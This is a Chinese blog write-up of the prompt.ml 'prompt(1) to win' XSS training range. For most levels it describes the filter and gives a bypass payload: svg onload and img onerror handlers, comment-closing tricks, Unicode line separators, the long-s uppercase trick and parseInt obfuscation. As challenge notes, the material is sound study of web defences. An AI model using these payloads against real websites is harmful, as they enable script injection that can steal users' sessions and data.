当前位置:网站首页>XSS靶场(三)prompt to win
XSS靶场(三)prompt to win
2022-07-31 04:14:00 【树迷了路】
靶场地址:prompt(1) to win - 0x0
http://prompt.ml/0
0x00
无过滤,闭合双引号及标签即可;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、注掉即可;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,那就不用他俩;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->让我们无法闭合;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制src的值的开头必须为http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中password后不能有 / ,用%2f代替;
在服务器根目录下写一个test.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,再闭合前后 "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,必须输入形如 formURL#formDataJSON这样的如:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的action会直接覆盖前面的第一个action,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",过滤也就失效了;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #都会致使一个新 title的产生,每个 title后只显示前12个输入的字符;
用 /* */去除多余部分,逃逸长度限制 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,这就没法逃逸单行注释了;
但 javaScript规定有5个字符,不能在字符串中直接出现,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符

这东西没法直接用,得现在控制台让其生成一个特殊的payload,然后我们复制,再配合 --> 主调后面的 " 即可;
'\u2028prompt(1)\u2029-->' //复制到控制台生成特殊payload再复制拿去用
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
所以要用到一个技巧:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
破局点在于 ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1) 
0x0B
过滤了一堆东西;
解法没搞懂,哈哈;
"(prompt(1))in"
0x0C
这里先过滤,后替换,所以第10题那样行不通;
用 parseInt() 函数可解析字符串并返回整数,再用toString解码即可绕过;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客

eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
和第七题差不多,不过是过滤了/*,构造<!-- -->即可 ;
配合<svg>使注释生效即可;
关于此题中<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 
边栏推荐
- 数字经济时代的开源数据库创新 | 2022开放原子全球开源峰会数据库分论坛圆满召开
- Bubble sort, selection sort, insertion sort, binary search directly
- WeChat applet uses cloud functions to update and add cloud database nested array elements
- Error EPERM operation not permitted, mkdir ‘Dsoftwarenodejsnode_cache_cacach两种解决办法
- No qualifying bean of type 问题
- ClickHouse: Setting up remote connections
- Basic knowledge of mysql (2)
- Understanding of the presence of a large number of close_wait states
- 三子棋的代码实现
- 安全20220712
猜你喜欢

VScode+ESP32快速安装ESP-IDF插件

MATLAB/Simulink & & STM32CubeMX tool chain completes model-based design development (MBD) (three)

IDEA common shortcut keys and plug-ins

MySQL基础操作

《DeepJIT: An End-To-End Deep Learning Framework for Just-In-Time Defect Prediction》论文笔记

Recursive implementation of the Tower of Hanoi problem

(5) final, abstract class, interface, inner class

组件传值 provide/inject

专访 | 阿里巴巴首席技术官程立:云+开源共同形成数字世界的可信基础

The idea project obviously has dependencies, but the file is not displayed, Cannot resolve symbol 'XXX'
随机推荐
C语言从入门到如土——数据的存储
Can‘t load /home/Iot/.rnd into RNG
微信小程序使用云函数更新和添加云数据库嵌套数组元素
[Swift]自定义点击APP图标弹出的快捷方式
扫雷游戏(c语言写)
SOLVED: After accidentally uninstalling pip (two ways to manually install pip)
[AUTOSAR-RTE]-5-Explicit (explicit) and Implicit (implicit) Sender-Receiver communication
Win10 CUDA CUDNN installation configuration (torch paddlepaddle)
已解决:不小心卸载pip后(手动安装pip的两种方式)
Understanding of the presence of a large number of close_wait states
$attrs/$listeners
No qualifying bean of type question
【小土堆补充】Pytorch学习笔记_Anaconda虚拟环境使用
Vue项目通过node连接MySQL数据库并实现增删改查操作
mysql基础知识(二)
递归实现汉诺塔问题
Basic knowledge of mysql (2)
Daily practice of LeetCode - palindrome structure of OR36 linked list
idea工程明明有依赖但是文件就是显示没有,Cannot resolve symbol ‘XXX‘
(4) Recursion, variable parameters, access modifiers, understanding main method, code block